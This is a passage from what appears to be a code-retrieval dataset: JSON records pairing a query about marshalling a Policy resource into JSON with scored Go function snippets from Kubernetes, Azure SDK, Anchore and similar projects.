Don't handle deleted PacketClusters\n\t\tif !c.ObjectMeta.DeletionTimestamp.IsZero() {\n\t\t\tlog.V(4).Info(\"PacketCluster has a deletion timestamp, skipping mapping.\")\n\t\t\treturn nil\n\t\t}\n\n\t\tcluster, err := util.GetOwnerCluster(ctx, r.Client, c.ObjectMeta)\n\t\tswitch {\n\t\tcase apierrors.IsNotFound(err) || cluster == nil:\n\t\t\tlog.Error(err, \"owning cluster is not found, skipping mapping.\")\n\t\t\treturn nil\n\t\tcase err != nil:\n\t\t\tlog.Error(err, \"failed to get owning cluster\")\n\t\t\treturn nil\n\t\t}\n\n\t\tmachines, err := collections.GetFilteredMachinesForCluster(ctx, r.Client, cluster)\n\t\tif err != nil {\n\t\t\tlog.Error(err, \"failed to get Machines for Cluster\")\n\t\t\treturn nil\n\t\t}\n\n\t\tvar result []ctrl.Request\n\n\t\tfor _, m := range machines.UnsortedList() {\n\t\t\tif m.Spec.InfrastructureRef.Name == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tname := client.ObjectKey{Namespace: m.Namespace, Name: m.Spec.InfrastructureRef.Name}\n\t\t\tresult = append(result, ctrl.Request{NamespacedName: name})\n\t\t}\n\n\t\treturn result\n\t}\n}", "title": "" }, { "docid": "ca97a2a6f36d6182a3ed2cd3965bc17b", "score": "0.45635277", "text": "func RegisteredCores() map[string]zapcore.Core {\n\treturn zapCores\n}", "title": "" }, { "docid": "96de990cf52c6126ee282fdaac95a494", "score": "0.45579594", "text": "func ActiveMachines(machine *clusterv1.Machine) bool {\n\tif machine == nil {\n\t\treturn false\n\t}\n\treturn machine.DeletionTimestamp.IsZero()\n}", "title": "" }, { "docid": "f162f67ec6b418f729dcc55bb5abcafb", "score": "0.45524627", "text": "func NodesMap(nodes []*xpb.NodeInfo) map[string]map[string][]byte {\n\tm := make(map[string]map[string][]byte, len(nodes))\n\tfor _, n := range nodes {\n\t\tfacts := make(map[string][]byte, len(n.Fact))\n\t\tfor _, f := range n.Fact {\n\t\t\tfacts[f.Name] = f.Value\n\t\t}\n\t\tm[n.Ticket] = facts\n\t}\n\treturn m\n}", "title": "" }, { "docid": "e93de1ced3d60b54644e155daaa7106d", "score": "0.45327052", "text": "func (c *MonitorComponent) Instances() []Instance {\n\tins := make([]Instance, 0, len(c.Monitors))\n\tfor _, s := range c.Monitors {\n\t\tins = append(ins, &MonitorInstance{instance{\n\t\t\tInstanceSpec: s,\n\t\t\tname: c.Name(),\n\t\t\thost: s.Host,\n\t\t\tport: s.Port,\n\t\t\tsshp: s.SSHPort,\n\t\t\ttopo: c.ClusterSpecification,\n\n\t\t\tusedPorts: []int{\n\t\t\t\ts.Port,\n\t\t\t},\n\t\t\tusedDirs: []string{\n\t\t\t\ts.DeployDir,\n\t\t\t\ts.DataDir,\n\t\t\t},\n\t\t\tstatusFn: func(_ ...string) string {\n\t\t\t\treturn \"-\"\n\t\t\t},\n\t\t}})\n\t}\n\treturn ins\n}", "title": "" }, { "docid": "58e96760a82ffc617656cdc37c751825", "score": "0.4529656", "text": "func (kl *Kubelet) GetCachedMachineInfo() (*cadvisorapi.MachineInfo, error) {\n\tif kl.machineInfo == nil {\n\t\tinfo, err := kl.cadvisor.MachineInfo()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tkl.machineInfo = info\n\t}\n\treturn kl.machineInfo, nil\n}", "title": "" }, { "docid": "a804fc8d5254817db7ead0a69c2bb1a9", "score": "0.4527154", "text": "func (s *Service) QueryMachineCreatedAndEndTime(c context.Context) (machineResponse map[string]interface{}, err error) {\n\tvar (\n\t\tmachineCreatedTime []*model.MachineCreatedAndEndTime\n\t\tmachineExpiredTime []*model.MachineCreatedAndEndTime\n\t)\n\n\tmachineResponse = make(map[string]interface{})\n\n\tif machineCreatedTime, err = s.dao.MachineLatestCreated(); err != nil {\n\t\treturn\n\t}\n\n\tif machineExpiredTime, err = s.dao.MachineWillBeExpired(); err != nil {\n\t\treturn\n\t}\n\n\tmachineResponse[\"machine_created_top\"] = machineCreatedTime\n\tmachineResponse[\"machine_expired_top\"] = machineExpiredTime\n\n\treturn\n}", "title": "" } ]
259e744b064293dbbd0a1e11c1e39d74
marshal encodes the Policy resource into JSON for a Create request, and performs transformations from the resource schema to the API schema if necessary.
[ { "docid": "f4772a8c5ecf14d95ab896cc9f5d2564", "score": "0.7094426", "text": "func (r *Policy) marshal(c *Client) ([]byte, error) {\n\tm, err := expandPolicy(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Policy: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}", "title": "" } ]
[ { "docid": "05de0fb399e20c9e2568774bde81de6b", "score": "0.6284669", "text": "func (s PutResourcePolicyInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/json\"), protocol.Metadata{})\n\n\tif s.Policy != nil {\n\t\tv := s.Policy\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"Policy\", protocol.JSONValue{V: v, EscapeMode: protocol.QuotedEscape}, metadata)\n\t}\n\tif s.RevisionId != nil {\n\t\tv := *s.RevisionId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"RevisionId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.RegistryName != nil {\n\t\tv := *s.RegistryName\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"registryName\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4cc324ddbc2054f9e6a1716f8619e1b0", "score": "0.6248594", "text": "func (p PostPolicy) marshalJSON() []byte {\n\texpirationStr := `\"expiration\":\"` + p.expiration.Format(expirationDateFormat) + `\"`\n\tvar conditionsStr string\n\tconditions := []string{}\n\tfor _, po := range p.conditions {\n\t\tconditions = append(conditions, fmt.Sprintf(\"[\\\"%s\\\",\\\"%s\\\",\\\"%s\\\"]\", po.matchType, po.condition, po.value))\n\t}\n\tif p.contentLengthRange.min != 0 || p.contentLengthRange.max != 0 {\n\t\tconditions = append(conditions, fmt.Sprintf(\"[\\\"content-length-range\\\", %d, %d]\",\n\t\t\tp.contentLengthRange.min, p.contentLengthRange.max))\n\t}\n\tif len(conditions) > 0 {\n\t\tconditionsStr = `\"conditions\":[` + strings.Join(conditions, \",\") + \"]\"\n\t}\n\tretStr := \"{\"\n\tretStr = retStr + expirationStr + \",\"\n\tretStr += conditionsStr\n\tretStr += \"}\"\n\treturn []byte(retStr)\n}", "title": "" }, { "docid": "975f5b1eec163679bef8d9256221f811", "score": "0.6090913", "text": "func (s PutResourcePolicyOutput) MarshalFields(e protocol.FieldEncoder) error {\n\tif s.Policy != nil {\n\t\tv := s.Policy\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"Policy\", protocol.JSONValue{V: v, EscapeMode: protocol.QuotedEscape}, metadata)\n\t}\n\tif s.RevisionId != nil {\n\t\tv := *s.RevisionId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"RevisionId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "26934d0c989be2db77a8d2086c452e36", "score": "0.5997703", "text": "func CreatePolicy(c *gin.Context) {\n\n\tvar policyBundle *security.PolicyBundle\n\terr := c.BindJSON(&policyBundle)\n\tif err != nil {\n\t\terr := errors.Wrap(err, \"Error parsing request:\")\n\t\tlog.Error(err.Error())\n\t\tc.JSON(http.StatusBadRequest, pkgCommmon.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error during parsing request!\",\n\t\t\tError: errors.Cause(err).Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tcommonCluster, ok := getClusterFromRequest(c)\n\tif !ok {\n\t\treturn\n\t}\n\tresponse, err := anchore.MakeAnchoreRequest(commonCluster.GetOrganizationId(), commonCluster.GetUID(), http.MethodPost, \"policies\", policyBundle)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttpStatusCode := http.StatusInternalServerError\n\t\tc.JSON(httpStatusCode, pkgCommmon.ErrorResponse{\n\t\t\tCode: httpStatusCode,\n\t\t\tMessage: \"Error\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\tdefer response.Body.Close()\n\n\tcreateResponse(c, *response)\n}", "title": "" }, { "docid": "e270952e1e2fd6cfc2df739a58aec3c2", "score": "0.591433", "text": "func CreatePolicy(c *gin.Context) {\n\n\tvar policyBundle *security.PolicyBundle\n\terr := c.BindJSON(&policyBundle)\n\tif err != nil {\n\t\terr := errors.Wrap(err, \"Error parsing request:\")\n\t\tlog.Error(err.Error())\n\t\tc.JSON(http.StatusBadRequest, common.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error during parsing request!\",\n\t\t\tError: errors.Cause(err).Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tcommonCluster, ok := getClusterFromRequest(c)\n\tif !ok {\n\t\treturn\n\t}\n\n\tif !commonCluster.GetSecurityScan() {\n\t\tcommon.ErrorResponseWithStatus(c, http.StatusNotFound, errors.New(anchore.SecurityScanNotEnabledMessage))\n\t\treturn\n\t}\n\n\tanchoreRequest := anchore.AnchoreRequest{\n\t\tOrgID: commonCluster.GetOrganizationId(),\n\t\tClusterID: commonCluster.GetUID(),\n\t\tMethod: http.MethodPost,\n\t\tURL: policyPath,\n\t\tBody: policyBundle,\n\t}\n\tresponse, err := anchore.DoAnchoreRequest(anchoreRequest)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\tc.JSON(http.StatusInternalServerError, common.ErrorResponse{\n\t\t\tCode: http.StatusInternalServerError,\n\t\t\tMessage: \"Error\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\tdefer response.Body.Close()\n\n\tcreateResponse(c, *response)\n}", "title": "" }, { "docid": "cc5759eb139e56b0c933d41121161b3a", "score": "0.58361316", "text": "func (p Policy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"id\", p.ID)\n\tpopulate(objectMap, \"location\", p.Location)\n\tpopulate(objectMap, \"name\", p.Name)\n\tpopulate(objectMap, \"properties\", p.Properties)\n\tpopulate(objectMap, \"tags\", p.Tags)\n\tpopulate(objectMap, \"type\", p.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "b57182be59398ed298b4b0691ed78687", "score": "0.5772535", "text": "func (s ResourcePolicy) MarshalFields(e protocol.FieldEncoder) error {\n\tif s.Document != nil {\n\t\tv := *s.Document\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"document\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.ResourceArn != nil {\n\t\tv := *s.ResourceArn\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"resourceArn\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.Revision != nil {\n\t\tv := *s.Revision\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"revision\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "27ebe16bee54e5fd43f210bdc24a1ad0", "score": "0.5768408", "text": "func (r *ServerTlsPolicy) marshal(c *Client) ([]byte, error) {\n\tm, err := expandServerTlsPolicy(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling ServerTlsPolicy: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}", "title": "" }, { "docid": "70c98f84db3cad814694d25139a1eace", "score": "0.57140505", "text": "func (s *Server) createPolicy(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\tvar policy model.Policy\n\tif err := json.NewDecoder(r.Body).Decode(&policy); err != nil {\n\t\thttp.Error(w, err.Error(), errToStatusCode(err))\n\t\treturn\n\t}\n\n\tif err := s.db.Create(&policy).Error; err != nil {\n\t\thttp.Error(w, err.Error(), errToStatusCode(err))\n\t} else {\n\t\twriteJSONResult(w, policy)\n\t}\n}", "title": "" }, { "docid": "eef7d845af3b9843620e86cf7269fb75", "score": "0.56877816", "text": "func MarshalPolicy(policy v1.ClusterPolicy) []byte {\n\tvar rules []interface{}\n\trulesRaw, _ := json.Marshal(policy.Spec.Rules)\n\t_ = json.Unmarshal(rulesRaw, &rules)\n\tfor i, r := range rules {\n\t\trule, _ := r.(map[string]interface{})\n\n\t\tif reflect.DeepEqual(policy.Spec.Rules[i].Mutation, v1.Mutation{}) {\n\t\t\tdelete(rule, \"mutate\")\n\t\t}\n\t\tif reflect.DeepEqual(policy.Spec.Rules[i].Validation, v1.Validation{}) {\n\t\t\tdelete(rule, \"validate\")\n\t\t}\n\t\tif reflect.DeepEqual(policy.Spec.Rules[i].Generation, v1.Generation{}) {\n\t\t\tdelete(rule, \"generate\")\n\t\t}\n\n\t\trules[i] = rule\n\t}\n\n\tvar policyRepresentation = make(map[string]interface{})\n\tpolicyRaw, _ := json.Marshal(policy)\n\t_ = json.Unmarshal(policyRaw, &policyRepresentation)\n\n\tspecRepresentation, _ := policyRepresentation[\"spec\"].(map[string]interface{})\n\n\tspecRepresentation[\"rules\"] = rules\n\n\tpolicyRepresentation[\"spec\"] = specRepresentation\n\n\tpolicyRaw, _ = json.Marshal(policyRepresentation)\n\n\treturn policyRaw\n}", "title": "" }, { "docid": "f5cee39cbef430273c28888f4756c5a5", "score": "0.5611861", "text": "func CreatePolicyHandler(w http.ResponseWriter, r *http.Request) {\n\tlog.Infoln(\"policyservice.CreatePolicyHandler called\")\n\tvar request msgs.CreatePolicyRequest\n\t_ = json.NewDecoder(r.Body).Decode(&request)\n\n\tlog.Infoln(\"policyservice.CreatePolicyHandler got request \" + request.Name)\n\n\terr := CreatePolicy(apiserver.RestClient, request.Namespace, request.Name, request.URL, request.SQL)\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t\tlog.Infoln(\"error would be reported back to caller!!!!\")\n\t}\n}", "title": "" }, { "docid": "502b90afa79baa1ec8e3a0e7f9a6508b", "score": "0.5558949", "text": "func CreatePolicy(ctx context.Context, clientsEndpoint string, clientID string, policy KeycloakPolicy, protectionAPIToken string) (string, error) {\n\tb, err := json.Marshal(policy)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"policy\": policy,\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to marshal keyclaok policy struct\")\n\t\treturn \"\", errors.NewInternalError(\"unable to marshal keyclaok policy struct \" + err.Error())\n\t}\n\n\treq, err := http.NewRequest(\"POST\", clientsEndpoint+\"/\"+clientID+\"/authz/resource-server/policy\", strings.NewReader(string(b)))\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to crete http request\")\n\t\treturn \"\", errors.NewInternalError(\"unable to crete http request \" + err.Error())\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Authorization\", \"Bearer \"+protectionAPIToken)\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"client_id\": clientID,\n\t\t\t\"policy\": policy,\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to crete the Keycloak policy\")\n\t\treturn \"\", errors.NewInternalError(\"Unable to create the Keycloak policy \" + err.Error())\n\t}\n\tif res.StatusCode != http.StatusCreated {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"client_id\": clientID,\n\t\t\t\"policy\": policy,\n\t\t\t\"response_status\": res.Status,\n\t\t\t\"response_body\": rest.ReadBody(res.Body),\n\t\t}, \"Unable to update the Keycloak policy\")\n\t\treturn \"\", errors.NewInternalError(\"Unable to create the Keycloak policy. Response status: \" + res.Status + \". Responce body: \" + rest.ReadBody(res.Body))\n\t}\n\tjsonString := rest.ReadBody(res.Body)\n\n\tvar r cretePolicyRequestResultPayload\n\terr = json.Unmarshal([]byte(jsonString), &r)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"client_id\": clientID,\n\t\t\t\"policy\": policy,\n\t\t\t\"json_string\": jsonString,\n\t\t}, \"Unable to unmarshal json with the create keycloak policy request result\")\n\t\treturn \"\", errors.NewInternalError(fmt.Sprintf(\"error when unmarshal json with the create keycloak policy request result %s \", jsonString) + err.Error())\n\t}\n\n\treturn r.ID, nil\n}", "title": "" }, { "docid": "29835f07250188d080679a24f05d9093", "score": "0.55310863", "text": "func (p *Policy) Encode() (map[string]interface{}, error) {\n\tm := make(map[string]interface{})\n\tvar bindings []map[string]interface{}\n\tfor _, b := range p.Bindings {\n\t\tbb, err := b.Encode()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbindings = append(bindings, bb)\n\t}\n\tm[\"bindings\"] = bindings\n\tm[\"etag\"] = p.Etag\n\tm[\"version\"] = p.Version\n\treturn map[string]interface{}{\"policy\": m}, nil\n}", "title": "" }, { "docid": "10a383c65d4fef1b729b3ea8db9e068a", "score": "0.54520303", "text": "func (s AddResourcePermissionsInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/x-amz-json-1.1\"), protocol.Metadata{})\n\n\tif s.NotificationOptions != nil {\n\t\tv := s.NotificationOptions\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetFields(protocol.BodyTarget, \"NotificationOptions\", v, metadata)\n\t}\n\tif len(s.Principals) > 0 {\n\t\tv := s.Principals\n\n\t\tmetadata := protocol.Metadata{}\n\t\tls0 := e.List(protocol.BodyTarget, \"Principals\", metadata)\n\t\tls0.Start()\n\t\tfor _, v1 := range v {\n\t\t\tls0.ListAddFields(v1)\n\t\t}\n\t\tls0.End()\n\n\t}\n\tif s.AuthenticationToken != nil {\n\t\tv := *s.AuthenticationToken\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.HeaderTarget, \"Authentication\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.ResourceId != nil {\n\t\tv := *s.ResourceId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"ResourceId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b2fec3256d3eb60a1b6fd4a100be7ccf", "score": "0.5431919", "text": "func (p Policy) MarshalJSON() ([]byte, error) {\n\tout := bytes.NewBufferString(p.ID)\n\tout.WriteString(\", \")\n\tout.WriteString(p.Type)\n\n\toutStr := out.String()\n\t// nolint:wrapcheck // wrapping this error provides no useful information\n\treturn json.Marshal(outStr)\n}", "title": "" }, { "docid": "f765e66dba5f35ee67c70b4a0bc3304f", "score": "0.54088163", "text": "func (r *NATPolicyResource) Create(item NATPolicyConfig) error {\n\tif err := r.c.ModQuery(\"POST\", BasePath+NATPolicyEndpoint, item); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f1a360c17950a3f5d1ef3c10799d512e", "score": "0.54047984", "text": "func (p PolicyAssignmentPropertiesPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", p.ID)\n\tpopulate(objectMap, \"lastModifiedBy\", p.LastModifiedBy)\n\tpopulateTimeRFC3339(objectMap, \"lastModifiedDateTime\", p.LastModifiedDateTime)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "db24c6aaacfbe5aa27f8a56066753af1", "score": "0.53628755", "text": "func (obj CIAppCreatePipelineEventRequestAttributesResource) MarshalJSON() ([]byte, error) {\n\tif obj.CIAppPipelineEventPipeline != nil {\n\t\treturn json.Marshal(&obj.CIAppPipelineEventPipeline)\n\t}\n\n\tif obj.CIAppPipelineEventStage != nil {\n\t\treturn json.Marshal(&obj.CIAppPipelineEventStage)\n\t}\n\n\tif obj.CIAppPipelineEventJob != nil {\n\t\treturn json.Marshal(&obj.CIAppPipelineEventJob)\n\t}\n\n\tif obj.CIAppPipelineEventStep != nil {\n\t\treturn json.Marshal(&obj.CIAppPipelineEventStep)\n\t}\n\n\tif obj.UnparsedObject != nil {\n\t\treturn json.Marshal(obj.UnparsedObject)\n\t}\n\treturn nil, nil // no data in oneOf schemas\n}", "title": "" }, { "docid": "5cf8fc63b03db72297ed0ffcfec5984a", "score": "0.5288269", "text": "func (p *policy) MarshalJSON() ([]byte, error) {\n\topts := PolicyOptions{\n\t\tName: p.id,\n\t\tDescription: p.desc,\n\t\tRoles: p.roles,\n\t\tResources: p.resources,\n\t\tActions: p.actions,\n\t\tEffect: string(p.effect),\n\t}\n\n\tstructs.DefaultTagName = \"json\"\n\n\tcopts := make([]ConditionOptions, 0, len(p.conditions))\n\tfor k, c := range p.conditions {\n\t\tcov := structs.Map(c)\n\t\tco := ConditionOptions{\n\t\t\tName: k,\n\t\t\tType: c.Name(),\n\t\t\tOptions: cov,\n\t\t}\n\t\tcopts = append(copts, co)\n\t}\n\n\topts.Conditions = copts\n\n\treturn json.Marshal(opts)\n}", "title": "" }, { "docid": "a83e5be33df821db37714c259aa0c13d", "score": "0.52809364", "text": "func (p PredictiveAutoscalePolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"scaleLookAheadTime\", p.ScaleLookAheadTime)\n\tpopulate(objectMap, \"scaleMode\", p.ScaleMode)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "604cdbd264e248df761e6df2e642efbd", "score": "0.5198428", "text": "func (h *policies) Create(a *api.Policy) (*api.Policy, error) {\n\treturn a, h.c.create(*a, h)\n}", "title": "" }, { "docid": "e6b601e249f5d503fa5a1ee06a84d850", "score": "0.518711", "text": "func (m ManagedDatabaseSecurityAlertPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", m.ID)\n\tpopulate(objectMap, \"name\", m.Name)\n\tpopulate(objectMap, \"properties\", m.Properties)\n\tpopulate(objectMap, \"type\", m.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "6b4f3999f9bef7b953d2f6d9fee2adff", "score": "0.5185107", "text": "func (ps PolicyState) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif ps.OdataID != nil {\n\t\tobjectMap[\"@odata.id\"] = ps.OdataID\n\t}\n\tif ps.OdataContext != nil {\n\t\tobjectMap[\"@odata.context\"] = ps.OdataContext\n\t}\n\tif ps.Timestamp != nil {\n\t\tobjectMap[\"timestamp\"] = ps.Timestamp\n\t}\n\tif ps.ResourceID != nil {\n\t\tobjectMap[\"resourceId\"] = ps.ResourceID\n\t}\n\tif ps.PolicyAssignmentID != nil {\n\t\tobjectMap[\"policyAssignmentId\"] = ps.PolicyAssignmentID\n\t}\n\tif ps.PolicyDefinitionID != nil {\n\t\tobjectMap[\"policyDefinitionId\"] = ps.PolicyDefinitionID\n\t}\n\tif ps.EffectiveParameters != nil {\n\t\tobjectMap[\"effectiveParameters\"] = ps.EffectiveParameters\n\t}\n\tif ps.IsCompliant != nil {\n\t\tobjectMap[\"isCompliant\"] = ps.IsCompliant\n\t}\n\tif ps.SubscriptionID != nil {\n\t\tobjectMap[\"subscriptionId\"] = ps.SubscriptionID\n\t}\n\tif ps.ResourceType != nil {\n\t\tobjectMap[\"resourceType\"] = ps.ResourceType\n\t}\n\tif ps.ResourceLocation != nil {\n\t\tobjectMap[\"resourceLocation\"] = ps.ResourceLocation\n\t}\n\tif ps.ResourceGroup != nil {\n\t\tobjectMap[\"resourceGroup\"] = ps.ResourceGroup\n\t}\n\tif ps.ResourceTags != nil {\n\t\tobjectMap[\"resourceTags\"] = ps.ResourceTags\n\t}\n\tif ps.PolicyAssignmentName != nil {\n\t\tobjectMap[\"policyAssignmentName\"] = ps.PolicyAssignmentName\n\t}\n\tif ps.PolicyAssignmentOwner != nil {\n\t\tobjectMap[\"policyAssignmentOwner\"] = ps.PolicyAssignmentOwner\n\t}\n\tif ps.PolicyAssignmentParameters != nil {\n\t\tobjectMap[\"policyAssignmentParameters\"] = ps.PolicyAssignmentParameters\n\t}\n\tif ps.PolicyAssignmentScope != nil {\n\t\tobjectMap[\"policyAssignmentScope\"] = ps.PolicyAssignmentScope\n\t}\n\tif ps.PolicyDefinitionName != nil {\n\t\tobjectMap[\"policyDefinitionName\"] = ps.PolicyDefinitionName\n\t}\n\tif ps.PolicyDefinitionAction != nil {\n\t\tobjectMap[\"policyDefinitionAction\"] = ps.PolicyDefinitionAction\n\t}\n\tif ps.PolicyDefinitionCategory != nil {\n\t\tobjectMap[\"policyDefinitionCategory\"] = ps.PolicyDefinitionCategory\n\t}\n\tif ps.PolicySetDefinitionID != nil {\n\t\tobjectMap[\"policySetDefinitionId\"] = ps.PolicySetDefinitionID\n\t}\n\tif ps.PolicySetDefinitionName != nil {\n\t\tobjectMap[\"policySetDefinitionName\"] = ps.PolicySetDefinitionName\n\t}\n\tif ps.PolicySetDefinitionOwner != nil {\n\t\tobjectMap[\"policySetDefinitionOwner\"] = ps.PolicySetDefinitionOwner\n\t}\n\tif ps.PolicySetDefinitionCategory != nil {\n\t\tobjectMap[\"policySetDefinitionCategory\"] = ps.PolicySetDefinitionCategory\n\t}\n\tif ps.PolicySetDefinitionParameters != nil {\n\t\tobjectMap[\"policySetDefinitionParameters\"] = ps.PolicySetDefinitionParameters\n\t}\n\tif ps.ManagementGroupIds != nil {\n\t\tobjectMap[\"managementGroupIds\"] = ps.ManagementGroupIds\n\t}\n\tif ps.PolicyDefinitionReferenceID != nil {\n\t\tobjectMap[\"policyDefinitionReferenceId\"] = ps.PolicyDefinitionReferenceID\n\t}\n\tfor k, v := range ps.AdditionalProperties {\n\t\tobjectMap[k] = v\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "814c258d50eae65a1f1719605231a30c", "score": "0.51689535", "text": "func (d *ResourceDetector) ApplyPolicy(object *unstructured.Unstructured, objectKey keys.ClusterWideKey, policy *policyv1alpha1.PropagationPolicy) error {\n\tklog.Infof(\"Applying policy(%s) for object: %s\", policy.Name, objectKey)\n\n\tif err := d.ClaimPolicyForObject(object, policy.Namespace, policy.Name); err != nil {\n\t\tklog.Errorf(\"Failed to claim policy(%s) for object: %s\", policy.Name, object)\n\t\treturn err\n\t}\n\n\tbinding := d.BuildResourceBinding(object, objectKey, policy)\n\tbindingCopy := binding.DeepCopy()\n\toperationResult, err := controllerutil.CreateOrUpdate(context.TODO(), d.Client, bindingCopy, func() error {\n\t\t// Just update necessary fields, especially avoid modifying Spec.Clusters which is scheduling result, if already exists.\n\t\tbindingCopy.Labels = binding.Labels\n\t\tbindingCopy.OwnerReferences = binding.OwnerReferences\n\t\tbindingCopy.Spec.Resource = binding.Spec.Resource\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tklog.Errorf(\"Failed to apply policy(%s) for object: %s. error: %v\", policy.Name, objectKey, err)\n\t\treturn err\n\t}\n\n\tif operationResult == controllerutil.OperationResultCreated {\n\t\tklog.Infof(\"Create ResourceBinding(%s/%s) successfully.\", binding.GetNamespace(), binding.GetName())\n\t} else if operationResult == controllerutil.OperationResultUpdated {\n\t\tklog.Infof(\"Update ResourceBinding(%s/%s) successfully.\", binding.GetNamespace(), binding.GetName())\n\t} else {\n\t\tklog.V(2).Infof(\"ResourceBinding(%s/%s) is up to date.\", binding.GetNamespace(), binding.GetName())\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "79623f8c1f005a1dc88054553584ee60", "score": "0.51408863", "text": "func (d DatabaseBlobAuditingPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", d.ID)\n\tpopulate(objectMap, \"kind\", d.Kind)\n\tpopulate(objectMap, \"name\", d.Name)\n\tpopulate(objectMap, \"properties\", d.Properties)\n\tpopulate(objectMap, \"type\", d.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "7a79b8b08b0539fc6fee1d3a0cb8196f", "score": "0.5136014", "text": "func (c *AuthenticationPolicy) Create(ctx context.Context, ap *authenticationv1alpha1.Policy) error {\n\treturn c.crClient.Create(ctx, ap)\n}", "title": "" }, { "docid": "2ecca73faab78c2f10056e7a51bbd784", "score": "0.5126169", "text": "func (p PolicyProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulateTimeRFC3339(objectMap, \"createdDate\", p.CreatedDate)\n\tpopulate(objectMap, \"description\", p.Description)\n\tpopulate(objectMap, \"evaluatorType\", p.EvaluatorType)\n\tpopulate(objectMap, \"factData\", p.FactData)\n\tpopulate(objectMap, \"factName\", p.FactName)\n\tpopulate(objectMap, \"provisioningState\", p.ProvisioningState)\n\tpopulate(objectMap, \"status\", p.Status)\n\tpopulate(objectMap, \"threshold\", p.Threshold)\n\tpopulate(objectMap, \"uniqueIdentifier\", p.UniqueIdentifier)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "fecc2673677c9ddfb714ee060bc4f928", "score": "0.5112664", "text": "func (p *PolicyConfig) Post(req *Request) {\n\t// get the user for this 